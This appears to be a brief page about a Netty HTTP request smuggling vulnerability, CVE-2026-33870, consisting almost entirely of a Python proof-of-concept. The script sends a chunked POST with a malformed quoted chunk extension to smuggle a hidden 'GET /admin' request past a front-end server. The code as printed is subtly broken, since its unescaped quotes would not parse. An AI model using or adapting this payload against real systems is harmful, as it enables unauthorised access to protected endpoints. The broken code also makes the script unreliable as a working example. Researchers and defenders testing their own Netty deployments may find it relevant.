CVE-2026-33870 Netty HTTP请求走私漏洞

import socket # Target configuration host = 'target.example.com' port = 80 # Malicious payload exploiting quoted string parsing in chunked extensions # This attempts to smuggle a second request by abusing the parser payload = ( "POST / HTTP/1.1\r\n" "Host: target.example.com\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "4;name="test"\r\n" # Malformed chunk extension with quotes "WXYZ\r\n" "0\r\n" "\r\n" "GET /admin HTTP/1.1\r\n" # Smuggled request "Host: target.example.com\r\n" "\r\n" ) def send_request(host, port, payload): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((host, port)) s.sendall(payload.encode()) response = s.recv(4096) print(response.decode()) if __name__ == "__main__": send_request(host, port, payload)